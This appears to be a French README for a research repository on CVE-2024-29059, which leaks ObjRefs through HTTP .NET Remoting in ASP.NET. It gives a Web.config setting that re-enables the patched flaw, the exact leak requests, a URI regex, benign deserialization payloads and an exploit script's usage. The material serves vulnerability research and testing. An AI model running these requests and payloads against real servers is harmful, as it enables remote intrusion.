Ressources supplémentaires pour fuiter et exploiter les ObjRefs via HTTP .NET Remoting (CVE-2024-29059)
ObjRefs via HTTP .NET Remoting (CVE-2024-29059)Ce dépôt fournit des détails et ressources supplémentaires sur le billet de blog CODE WHITE du même nom Fuites d'ObjRef pour exploiter HTTP .NET Remoting :
ObjRefTypeFilterLevel.LowCe qui suit est basé sur Configurer Application Insights pour votre site web ASP.NET par Microsoft et décrit comment créer une application web ASP.NET vulnérable avec Visual Studio 2019 (nécessaire pour cibler .NET Framework 4.5.2, vous pouvez toujours le télécharger à https://aka.ms/vs/16/release/vs_community.exe) et Microsoft Application Insights :
Si les mises à jour .NET Framework de janvier 2024 sont installées, ouvrez le fichier Web.config et ajoutez ce qui suit sous /configuration/appSettings pour réactiver le comportement vulnérable :
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
Vous pouvez ensuite exécuter l'application web via Déboguer > Démarrer sans débogage ou en appuyant sur Ctrl+F5.
ObjRefVous pouvez utiliser les requêtes suivantes pour fuiter les ObjRefs des instances MarshalByRefObject stockées dans le LogicalCallContext :
BinaryServerFormatterSink :
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: application/octet-stream
SoapServerFormatterSink :
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: text/xml
Les URI ObjRef fuites peuvent ensuite être trouvées à l'aide de l'expression régulière suivante :
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
Nous avons créé deux charges utiles de désérialisation simples basées sur le gadget TextFormattingRunProperties de YSoSerial.Net avec des charges utiles XAML personnalisées qui fonctionnent sous les restrictions causées par TypeFilterLevel.Low pour effectuer les actions suivantes :
HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"Les en-têtes HTTP peuvent être observés dans la réponse du serveur à la requête HTTP .NET Remoting.
Le script RemoteApplicationMetadata.py fournit un moyen de fuiter un ObjRef existant puis de l'utiliser dans une requête ultérieure pour délivrer une charge utile donnée :
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
positional arguments:
url target URL (without `RemoteApplicationMetadata.rem`)
file BinaryFormatter/SoapFormatter payload file (default: stdin)
options:
-h, --help show this help message and exit
-c, --chunked use chunked Transfer-Encoding for request
--chunk-range CHUNK_RANGE
range to pick the chunk size from randomly, e. g., 1-10
-e, --encoding apply a random non ASCII-based encoding on SOAP
-f {binary,soap}, --format {binary,soap}
targeted runtime serializer format (default: soap)
-u, --use-generic-uri
use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
-v, --verbose print verbose info
Exemple :
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v